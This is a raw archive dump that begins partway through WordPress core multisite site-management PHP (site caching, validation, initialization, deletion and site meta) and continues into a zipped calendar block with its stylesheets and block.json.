	$_site = apply_filters( 'get_site', $_site );

	return $_site;
}

/**
 * Adds any sites from the given IDs to the cache that do not already exist in cache.
 *
 * @since 4.6.0
 * @since 5.1.0 Introduced the `$update_meta_cache` parameter.
 * @since 6.1.0 This function is no longer marked as "private".
 * @since 6.3.0 Use wp_lazyload_site_meta() for lazy-loading of site meta.
 *
 * @see update_site_cache()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $ids               ID list.
 * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
 */
function _prime_site_caches( $ids, $update_meta_cache = true ) {
	global $wpdb;

	$non_cached_ids = _get_non_cached_ids( $ids, 'sites' );
	if ( ! empty( $non_cached_ids ) ) {
		$fresh_sites = $wpdb->get_results( sprintf( "SELECT * FROM $wpdb->blogs WHERE blog_id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

		update_site_cache( $fresh_sites, false );
	}

	if ( $update_meta_cache ) {
		wp_lazyload_site_meta( $ids );
	}
}

/**
 * Queue site meta for lazy-loading.
 *
 * @since 6.3.0
 *
 * @param array $site_ids List of site IDs.
 */
function wp_lazyload_site_meta( array $site_ids ) {
	if ( empty( $site_ids ) ) {
		return;
	}
	$lazyloader = wp_metadata_lazyloader();
	$lazyloader->queue_objects( 'blog', $site_ids );
}

/**
 * Updates sites in cache.
 *
 * @since 4.6.0
 * @since 5.1.0 Introduced the `$update_meta_cache` parameter.
 *
 * @param array $sites             Array of site objects.
 * @param bool  $update_meta_cache Whether to update site meta cache. Default true.
 */
function update_site_cache( $sites, $update_meta_cache = true ) {
	if ( ! $sites ) {
		return;
	}
	$site_ids          = array();
	$site_data         = array();
	$blog_details_data = array();
	foreach ( $sites as $site ) {
		$site_ids[]                                    = $site->blog_id;
		$site_data[ $site->blog_id ]                   = $site;
		$blog_details_data[ $site->blog_id . 'short' ] = $site;

	}
	wp_cache_add_multiple( $site_data, 'sites' );
	wp_cache_add_multiple( $blog_details_data, 'blog-details' );

	if ( $update_meta_cache ) {
		update_sitemeta_cache( $site_ids );
	}
}

/**
 * Updates metadata cache for list of site IDs.
 *
 * Performs SQL query to retrieve all metadata for the sites matching `$site_ids` and stores them in the cache.
 * Subsequent calls to `get_site_meta()` will not need to query the database.
 *
 * @since 5.1.0
 *
 * @param array $site_ids List of site IDs.
 * @return array|false An array of metadata on success, false if there is nothing to update.
 */
function update_sitemeta_cache( $site_ids ) {
	// Ensure this filter is hooked in even if the function is called early.
	if ( ! has_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ) ) {
		add_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' );
	}
	return update_meta_cache( 'blog', $site_ids );
}

/**
 * Retrieves a list of sites matching requested arguments.
 *
 * @since 4.6.0
 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters.
 *
 * @see WP_Site_Query::parse_query()
 *
 * @param string|array $args Optional. Array or string of arguments. See WP_Site_Query::__construct()
 *                           for information on accepted arguments. Default empty array.
 * @return WP_Site[]|int[]|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids',
 *                             or the number of sites when 'count' is passed as a query var.
 */
function get_sites( $args = array() ) {
	$query = new WP_Site_Query();

	return $query->query( $args );
}

/**
 * Prepares site data for insertion or update in the database.
 *
 * @since 5.1.0
 *
 * @param array        $data     Associative array of site data passed to the respective function.
 *                               See {@see wp_insert_site()} for the possibly included data.
 * @param array        $defaults Site data defaults to parse $data against.
 * @param WP_Site|null $old_site Optional. Old site object if an update, or null if an insertion.
 *                               Default null.
 * @return array|WP_Error Site data ready for a database transaction, or WP_Error in case a validation
 *                        error occurred.
 */
function wp_prepare_site_data( $data, $defaults, $old_site = null ) {

	// Maintain backward-compatibility with `$site_id` as network ID.
	if ( isset( $data['site_id'] ) ) {
		if ( ! empty( $data['site_id'] ) && empty( $data['network_id'] ) ) {
			$data['network_id'] = $data['site_id'];
		}
		unset( $data['site_id'] );
	}

	/**
	 * Filters passed site data in order to normalize it.
	 *
	 * @since 5.1.0
	 *
	 * @param array $data Associative array of site data passed to the respective function.
	 *                    See {@see wp_insert_site()} for the possibly included data.
	 */
	$data = apply_filters( 'wp_normalize_site_data', $data );

	$allowed_data_fields = array( 'domain', 'path', 'network_id', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
	$data                = array_intersect_key( wp_parse_args( $data, $defaults ), array_flip( $allowed_data_fields ) );

	$errors = new WP_Error();

	/**
	 * Fires when data should be validated for a site prior to inserting or updating in the database.
	 *
	 * Plugins should amend the `$errors` object via its `WP_Error::add()` method.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Error     $errors   Error object to add validation errors to.
	 * @param array        $data     Associative array of complete site data. See {@see wp_insert_site()}
	 *                               for the included data.
	 * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
	 *                               or null if it is a new site being inserted.
	 */
	do_action( 'wp_validate_site_data', $errors, $data, $old_site );

	if ( ! empty( $errors->errors ) ) {
		return $errors;
	}

	// Prepare for database.
	$data['site_id'] = $data['network_id'];
	unset( $data['network_id'] );

	return $data;
}

/**
 * Normalizes data for a site prior to inserting or updating in the database.
 *
 * @since 5.1.0
 *
 * @param array $data Associative array of site data passed to the respective function.
 *                    See {@see wp_insert_site()} for the possibly included data.
 * @return array Normalized site data.
 */
function wp_normalize_site_data( $data ) {
	// Sanitize domain if passed.
	if ( array_key_exists( 'domain', $data ) ) {
		$data['domain'] = preg_replace( '/[^a-z0-9\-.:]+/i', '', $data['domain'] );
	}

	// Sanitize path if passed.
	if ( array_key_exists( 'path', $data ) ) {
		$data['path'] = trailingslashit( '/' . trim( $data['path'], '/' ) );
	}

	// Sanitize network ID if passed.
	if ( array_key_exists( 'network_id', $data ) ) {
		$data['network_id'] = (int) $data['network_id'];
	}

	// Sanitize status fields if passed.
	$status_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted' );
	foreach ( $status_fields as $status_field ) {
		if ( array_key_exists( $status_field, $data ) ) {
			$data[ $status_field ] = (int) $data[ $status_field ];
		}
	}

	// Strip date fields if empty.
	$date_fields = array( 'registered', 'last_updated' );
	foreach ( $date_fields as $date_field ) {
		if ( ! array_key_exists( $date_field, $data ) ) {
			continue;
		}

		if ( empty( $data[ $date_field ] ) || '0000-00-00 00:00:00' === $data[ $date_field ] ) {
			unset( $data[ $date_field ] );
		}
	}

	return $data;
}

/**
 * Validates data for a site prior to inserting or updating in the database.
 *
 * @since 5.1.0
 *
 * @param WP_Error     $errors   Error object, passed by reference. Will contain validation errors if
 *                               any occurred.
 * @param array        $data     Associative array of complete site data. See {@see wp_insert_site()}
 *                               for the included data.
 * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
 *                               or null if it is a new site being inserted.
 */
function wp_validate_site_data( $errors, $data, $old_site = null ) {
	// A domain must always be present.
	if ( empty( $data['domain'] ) ) {
		$errors->add( 'site_empty_domain', __( 'Site domain must not be empty.' ) );
	}

	// A path must always be present.
	if ( empty( $data['path'] ) ) {
		$errors->add( 'site_empty_path', __( 'Site path must not be empty.' ) );
	}

	// A network ID must always be present.
	if ( empty( $data['network_id'] ) ) {
		$errors->add( 'site_empty_network_id', __( 'Site network ID must be provided.' ) );
	}

	// Both registration and last updated dates must always be present and valid.
	$date_fields = array( 'registered', 'last_updated' );
	foreach ( $date_fields as $date_field ) {
		if ( empty( $data[ $date_field ] ) ) {
			$errors->add( 'site_empty_' . $date_field, __( 'Both registration and last updated dates must be provided.' ) );
			break;
		}

		// Allow '0000-00-00 00:00:00', although it be stripped out at this point.
		if ( '0000-00-00 00:00:00' !== $data[ $date_field ] ) {
			$month      = substr( $data[ $date_field ], 5, 2 );
			$day        = substr( $data[ $date_field ], 8, 2 );
			$year       = substr( $data[ $date_field ], 0, 4 );
			$valid_date = wp_checkdate( $month, $day, $year, $data[ $date_field ] );
			if ( ! $valid_date ) {
				$errors->add( 'site_invalid_' . $date_field, __( 'Both registration and last updated dates must be valid dates.' ) );
				break;
			}
		}
	}

	if ( ! empty( $errors->errors ) ) {
		return;
	}

	// If a new site, or domain/path/network ID have changed, ensure uniqueness.
	if ( ! $old_site
		|| $data['domain'] !== $old_site->domain
		|| $data['path'] !== $old_site->path
		|| $data['network_id'] !== $old_site->network_id
	) {
		if ( domain_exists( $data['domain'], $data['path'], $data['network_id'] ) ) {
			$errors->add( 'site_taken', __( 'Sorry, that site already exists!' ) );
		}
	}
}

/**
 * Runs the initialization routine for a given site.
 *
 * This process includes creating the site's database tables and
 * populating them with defaults.
 *
 * @since 5.1.0
 *
 * @global wpdb     $wpdb     WordPress database abstraction object.
 * @global WP_Roles $wp_roles WordPress role management object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @param array       $args    {
 *     Optional. Arguments to modify the initialization behavior.
 *
 *     @type int    $user_id Required. User ID for the site administrator.
 *     @type string $title   Site title. Default is 'Site %d' where %d is the
 *                           site ID.
 *     @type array  $options Custom option $key => $value pairs to use. Default
 *                           empty array.
 *     @type array  $meta    Custom site metadata $key => $value pairs to use.
 *                           Default empty array.
 * }
 * @return true|WP_Error True on success, or error object on failure.
 */
function wp_initialize_site( $site_id, array $args = array() ) {
	global $wpdb, $wp_roles;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$site = get_site( $site_id );
	if ( ! $site ) {
		return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
	}

	if ( wp_is_site_initialized( $site ) ) {
		return new WP_Error( 'site_already_initialized', __( 'The site appears to be already initialized.' ) );
	}

	$network = get_network( $site->network_id );
	if ( ! $network ) {
		$network = get_network();
	}

	$args = wp_parse_args(
		$args,
		array(
			'user_id' => 0,
			/* translators: %d: Site ID. */
			'title'   => sprintf( __( 'Site %d' ), $site->id ),
			'options' => array(),
			'meta'    => array(),
		)
	);

	/**
	 * Filters the arguments for initializing a site.
	 *
	 * @since 5.1.0
	 *
	 * @param array      $args    Arguments to modify the initialization behavior.
	 * @param WP_Site    $site    Site that is being initialized.
	 * @param WP_Network $network Network that the site belongs to.
	 */
	$args = apply_filters( 'wp_initialize_site_args', $args, $site, $network );

	$orig_installing = wp_installing();
	if ( ! $orig_installing ) {
		wp_installing( true );
	}

	$switch = false;
	if ( get_current_blog_id() !== $site->id ) {
		$switch = true;
		switch_to_blog( $site->id );
	}

	require_once ABSPATH . 'wp-admin/includes/upgrade.php';

	// Set up the database tables.
	make_db_current_silent( 'blog' );

	$home_scheme    = 'http';
	$siteurl_scheme = 'http';
	if ( ! is_subdomain_install() ) {
		if ( 'https' === parse_url( get_home_url( $network->site_id ), PHP_URL_SCHEME ) ) {
			$home_scheme = 'https';
		}
		if ( 'https' === parse_url( get_network_option( $network->id, 'siteurl' ), PHP_URL_SCHEME ) ) {
			$siteurl_scheme = 'https';
		}
	}

	// Populate the site's options.
	populate_options(
		array_merge(
			array(
				'home'        => untrailingslashit( $home_scheme . '://' . $site->domain . $site->path ),
				'siteurl'     => untrailingslashit( $siteurl_scheme . '://' . $site->domain . $site->path ),
				'blogname'    => wp_unslash( $args['title'] ),
				'admin_email' => '',
				'upload_path' => get_network_option( $network->id, 'ms_files_rewriting' ) ? UPLOADBLOGSDIR . "/{$site->id}/files" : get_blog_option( $network->site_id, 'upload_path' ),
				'blog_public' => (int) $site->public,
				'WPLANG'      => get_network_option( $network->id, 'WPLANG' ),
			),
			$args['options']
		)
	);

	// Clean blog cache after populating options.
	clean_blog_cache( $site );

	// Populate the site's roles.
	populate_roles();
	$wp_roles = new WP_Roles();

	// Populate metadata for the site.
	populate_site_meta( $site->id, $args['meta'] );

	// Remove all permissions that may exist for the site.
	$table_prefix = $wpdb->get_blog_prefix();
	delete_metadata( 'user', 0, $table_prefix . 'user_level', null, true );   // Delete all.
	delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true ); // Delete all.

	// Install default site content.
	wp_install_defaults( $args['user_id'] );

	// Set the site administrator.
	add_user_to_blog( $site->id, $args['user_id'], 'administrator' );
	if ( ! user_can( $args['user_id'], 'manage_network' ) && ! get_user_meta( $args['user_id'], 'primary_blog', true ) ) {
		update_user_meta( $args['user_id'], 'primary_blog', $site->id );
	}

	if ( $switch ) {
		restore_current_blog();
	}

	wp_installing( $orig_installing );

	return true;
}

/**
 * Runs the uninitialization routine for a given site.
 *
 * This process includes dropping the site's database tables and deleting its uploads directory.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @return true|WP_Error True on success, or error object on failure.
 */
function wp_uninitialize_site( $site_id ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$site = get_site( $site_id );
	if ( ! $site ) {
		return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
	}

	if ( ! wp_is_site_initialized( $site ) ) {
		return new WP_Error( 'site_already_uninitialized', __( 'The site appears to be already uninitialized.' ) );
	}

	$users = get_users(
		array(
			'blog_id' => $site->id,
			'fields'  => 'ids',
		)
	);

	// Remove users from the site.
	if ( ! empty( $users ) ) {
		foreach ( $users as $user_id ) {
			remove_user_from_blog( $user_id, $site->id );
		}
	}

	$switch = false;
	if ( get_current_blog_id() !== $site->id ) {
		$switch = true;
		switch_to_blog( $site->id );
	}

	$uploads = wp_get_upload_dir();

	$tables = $wpdb->tables( 'blog' );

	/**
	 * Filters the tables to drop when the site is deleted.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string[] $tables  Array of names of the site tables to be dropped.
	 * @param int      $site_id The ID of the site to drop tables for.
	 */
	$drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $site->id );

	foreach ( (array) $drop_tables as $table ) {
		$wpdb->query( "DROP TABLE IF EXISTS `$table`" ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}

	/**
	 * Filters the upload base directory to delete when the site is deleted.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $basedir Uploads path without subdirectory. See {@see wp_upload_dir()}.
	 * @param int    $site_id The site ID.
	 */
	$dir     = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $site->id );
	$dir     = rtrim( $dir, DIRECTORY_SEPARATOR );
	$top_dir = $dir;
	$stack   = array( $dir );
	$index   = 0;

	while ( $index < count( $stack ) ) {
		// Get indexed directory from stack.
		$dir = $stack[ $index ];

		// phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
		$dh = @opendir( $dir );
		if ( $dh ) {
			$file = @readdir( $dh );
			while ( false !== $file ) {
				if ( '.' === $file || '..' === $file ) {
					$file = @readdir( $dh );
					continue;
				}

				if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) {
					$stack[] = $dir . DIRECTORY_SEPARATOR . $file;
				} elseif ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) {
					@unlink( $dir . DIRECTORY_SEPARATOR . $file );
				}

				$file = @readdir( $dh );
			}
			@closedir( $dh );
		}
		++$index;
	}

	$stack = array_reverse( $stack ); // Last added directories are deepest.
	foreach ( (array) $stack as $dir ) {
		if ( $dir !== $top_dir ) {
			@rmdir( $dir );
		}
	}

	// phpcs:enable WordPress.PHP.NoSilencedErrors.Discouraged
	if ( $switch ) {
		restore_current_blog();
	}

	return true;
}

/**
 * Checks whether a site is initialized.
 *
 * A site is considered initialized when its database tables are present.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @return bool True if the site is initialized, false otherwise.
 */
function wp_is_site_initialized( $site_id ) {
	global $wpdb;

	if ( is_object( $site_id ) ) {
		$site_id = $site_id->blog_id;
	}
	$site_id = (int) $site_id;

	/**
	 * Filters the check for whether a site is initialized before the database is accessed.
	 *
	 * Returning a non-null value will effectively short-circuit the function, returning
	 * that value instead.
	 *
	 * @since 5.1.0
	 *
	 * @param bool|null $pre     The value to return instead. Default null
	 *                           to continue with the check.
	 * @param int       $site_id The site ID that is being checked.
	 */
	$pre = apply_filters( 'pre_wp_is_site_initialized', null, $site_id );
	if ( null !== $pre ) {
		return (bool) $pre;
	}

	$switch = false;
	if ( get_current_blog_id() !== $site_id ) {
		$switch = true;
		remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 );
		switch_to_blog( $site_id );
	}

	$suppress = $wpdb->suppress_errors();
	$result   = (bool) $wpdb->get_results( "DESCRIBE {$wpdb->posts}" );
	$wpdb->suppress_errors( $suppress );

	if ( $switch ) {
		restore_current_blog();
		add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );
	}

	return $result;
}

/**
 * Clean the blog cache
 *
 * @since 3.5.0
 *
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @param WP_Site|int $blog The site object or ID to be cleared from cache.
 */
function clean_blog_cache( $blog ) {
	global $_wp_suspend_cache_invalidation;

	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
		return;
	}

	if ( empty( $blog ) ) {
		return;
	}

	$blog_id = $blog;
	$blog    = get_site( $blog_id );
	if ( ! $blog ) {
		if ( ! is_numeric( $blog_id ) ) {
			return;
		}

		// Make sure a WP_Site object exists even when the site has been deleted.
		$blog = new WP_Site(
			(object) array(
				'blog_id' => $blog_id,
				'domain'  => null,
				'path'    => null,
			)
		);
	}

	$blog_id         = $blog->blog_id;
	$domain_path_key = md5( $blog->domain . $blog->path );

	wp_cache_delete( $blog_id, 'sites' );
	wp_cache_delete( $blog_id, 'site-details' );
	wp_cache_delete( $blog_id, 'blog-details' );
	wp_cache_delete( $blog_id . 'short', 'blog-details' );
	wp_cache_delete( $domain_path_key, 'blog-lookup' );
	wp_cache_delete( $domain_path_key, 'blog-id-cache' );
	wp_cache_delete( $blog_id, 'blog_meta' );

	/**
	 * Fires immediately after a site has been removed from the object cache.
	 *
	 * @since 4.6.0
	 *
	 * @param string  $id              Site ID as a numeric string.
	 * @param WP_Site $blog            Site object.
	 * @param string  $domain_path_key md5 hash of domain and path.
	 */
	do_action( 'clean_site_cache', $blog_id, $blog, $domain_path_key );

	wp_cache_set_sites_last_changed();

	/**
	 * Fires after the blog details cache is cleared.
	 *
	 * @since 3.4.0
	 * @deprecated 4.9.0 Use {@see 'clean_site_cache'} instead.
	 *
	 * @param int $blog_id Blog ID.
	 */
	do_action_deprecated( 'refresh_blog_details', array( $blog_id ), '4.9.0', 'clean_site_cache' );
}

/**
 * Adds metadata to a site.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Arrays and objects are stored as serialized data and
 *                           will be returned as the same type when retrieved. Other data types will
 *                           be stored as strings in the database:
 *                           - false is stored and retrieved as an empty string ('')
 *                           - true is stored and retrieved as '1'
 *                           - numbers (both integer and float) are stored and retrieved as strings
 *                           Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false Meta ID on success, false on failure.
 */
function add_site_meta( $site_id, $meta_key, $meta_value, $unique = false ) {
	return add_metadata( 'blog', $site_id, $meta_key, $meta_value, $unique );
}

/**
 * Removes metadata matching criteria from a site.
 *
 * You can match based on the key, or key and value. Removing based on key and
 * value, will keep from removing duplicate metadata with the same key. It also
 * allows removing all metadata matching key, if needed.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty.
 * @return bool True on success, false on failure.
 */
function delete_site_meta( $site_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'blog', $site_id, $meta_key, $meta_value );
}

/**
 * Retrieves metadata for a site.
 *
 * @since 5.1.0
 *
 * @param int    $site_id Site ID.
 * @param string $key     Optional. The meta key to retrieve. By default,
 *                        returns data for all keys. Default empty.
 * @param bool   $single  Optional. Whether to return a single value.
 *                        This parameter has no effect if `$key` is not specified.
 *                        Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of meta data field if `$single` is true.
 *               False for an invalid `$site_id` (non-numeric, zero, or negative value).
 *               An empty array if a valid but non-existing site ID is passed and `$single` is false.
 *               An empty string if a valid but non-existing site ID is passed and `$single` is true.
 *               Note: Non-serialized values are returned as strings:
 *               - false values are returned as empty strings ('')
 *               - true values are returned as '1'
 *               - numbers (both integer and float) are returned as strings
 *               Arrays and objects retain their original type.
 */
function get_site_meta( $site_id, $key = '', $single = false ) {
	return get_metadata( 'blog', $site_id, $key, $single );
}

/**
 * Updates metadata for a site.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and site ID.
 *
 * If the meta field for the site does not exist, it will be added.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_site_meta( $site_id, $meta_key, $meta_value, $prev_value = '' ) {
	return update_metadata( 'blog', $site_id, $meta_key, $meta_value, $prev_value );
}

/**
 * Deletes everything from site meta matching meta key.
 *
 * @since 5.1.0
 *
 * @param string $meta_key Metadata key to search for when deleting.
 * @return bool Whether the site meta key was deleted from the database.
 */
function delete_site_meta_by_key( $meta_key ) {
	return delete_metadata( 'blog', null, $meta_key, '', true );
}

/**
 * Updates the count of sites for a network based on a changed site.
 *
 * @since 5.1.0
 *
 * @param WP_Site      $new_site The site object that has been inserted, updated or deleted.
 * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
 *                               state of that site. Default null.
 */
function wp_maybe_update_network_site_counts_on_update( $new_site, $old_site = null ) {
	if ( null === $old_site ) {
		wp_maybe_update_network_site_counts( $new_site->network_id );
		return;
	}

	if ( $new_site->network_id !== $old_site->network_id ) {
		wp_maybe_update_network_site_counts( $new_site->network_id );
		wp_maybe_update_network_site_counts( $old_site->network_id );
	}
}

/**
 * Triggers actions on site status updates.
 *
 * @since 5.1.0
 *
 * @param WP_Site      $new_site The site object after the update.
 * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
 *                               state of that site. Default null.
 */
function wp_maybe_transition_site_statuses_on_update( $new_site, $old_site = null ) {
	$site_id = $new_site->id;

	// Use the default values for a site if no previous state is given.
	if ( ! $old_site ) {
		$old_site = new WP_Site( new stdClass() );
	}

	if ( $new_site->spam !== $old_site->spam ) {
		if ( '1' === $new_site->spam ) {

			/**
			 * Fires when the 'spam' status is added to a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_spam_blog', $site_id );
		} else {

			/**
			 * Fires when the 'spam' status is removed from a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_ham_blog', $site_id );
		}
	}

	if ( $new_site->mature !== $old_site->mature ) {
		if ( '1' === $new_site->mature ) {

			/**
			 * Fires when the 'mature' status is added to a site.
			 *
			 * @since 3.1.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'mature_blog', $site_id );
		} else {

			/**
			 * Fires when the 'mature' status is removed from a site.
			 *
			 * @since 3.1.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'unmature_blog', $site_id );
		}
	}

	if ( $new_site->archived !== $old_site->archived ) {
		if ( '1' === $new_site->archived ) {

			/**
			 * Fires when the 'archived' status is added to a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'archive_blog', $site_id );
		} else {

			/**
			 * Fires when the 'archived' status is removed from a site.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'unarchive_blog', $site_id );
		}
	}

	if ( $new_site->deleted !== $old_site->deleted ) {
		if ( '1' === $new_site->deleted ) {

			/**
			 * Fires when the 'deleted' status is added to a site.
			 *
			 * @since 3.5.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_delete_blog', $site_id );
		} else {

			/**
			 * Fires when the 'deleted' status is removed from a site.
			 *
			 * @since 3.5.0
			 *
			 * @param int $site_id Site ID.
			 */
			do_action( 'make_undelete_blog', $site_id );
		}
	}

	if ( $new_site->public !== $old_site->public ) {

		/**
		 * Fires after the current blog's 'public' setting is updated.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param int    $site_id   Site ID.
		 * @param string $is_public Whether the site is public. A numeric string,
		 *                          for compatibility reasons. Accepts '1' or '0'.
		 */
		do_action( 'update_blog_public', $site_id, $new_site->public );
	}
}

/**
 * Cleans the necessary caches after specific site data has been updated.
 *
 * @since 5.1.0
 *
 * @param WP_Site $new_site The site object after the update.
 * @param WP_Site $old_site The site object prior to the update.
 */
function wp_maybe_clean_new_site_cache_on_update( $new_site, $old_site ) {
	if ( $old_site->domain !== $new_site->domain || $old_site->path !== $new_site->path ) {
		clean_blog_cache( $new_site );
	}
}

/**
 * Updates the `blog_public` option for a given site ID.
 *
 * @since 5.1.0
 *
 * @param int    $site_id   Site ID.
 * @param string $is_public Whether the site is public. A numeric string,
 *                          for compatibility reasons. Accepts '1' or '0'.
 */
function wp_update_blog_public_option_on_site_update( $site_id, $is_public ) {

	// Bail if the site's database tables do not exist (yet).
	if ( ! wp_is_site_initialized( $site_id ) ) {
		return;
	}

	update_blog_option( $site_id, 'blog_public', $is_public );
}

/**
 * Sets the last changed time for the 'sites' cache group.
 *
 * @since 5.1.0
 */
function wp_cache_set_sites_last_changed() {
	wp_cache_set_last_changed( 'sites' );
}

/**
 * Aborts calls to site meta if it is not supported.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param mixed $check Skip-value for whether to proceed site meta function execution.
 * @return mixed Original value of $check, or false if site meta is not supported.
 */
function wp_check_site_meta_support_prefilter( $check ) {
	if ( ! is_site_meta_supported() ) {
		/* translators: %s: Database table name. */
		_doing_it_wrong( __FUNCTION__, sprintf( __( 'The %s table is not installed. Please run the network database upgrade.' ), $GLOBALS['wpdb']->blogmeta ), '5.1.0' );
		return false;
	}

	return $check;
}
14338/calendar.zip000064400000010636151024420100007516 0ustar00PK�[d[��q��style-rtl.min.cssnu�[���.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}PK�[d[��q��
style.min.cssnu�[���.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table:where(:not(.has-text-color)){color:#40464d}.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{border-color:#ddd}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}PK�[d[�&^d
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/calendar",
	"title": "Calendar",
	"category": "widgets",
	"description": "A calendar of your site’s posts.",
	"keywords": [ "posts", "archive" ],
	"textdomain": "default",
	"attributes": {
		"month": {
			"type": "integer"
		},
		"year": {
			"type": "integer"
		}
	},
	"supports": {
		"align": true,
		"color": {
			"link": true,
			"__experimentalSkipSerialization": [ "text", "background" ],
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			},
			"__experimentalSelector": "table, th"
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-calendar"
}
PK�[d[Tkkm��
style-rtl.cssnu�[���.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}PK�[d[Tkkm��	style.cssnu�[���.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
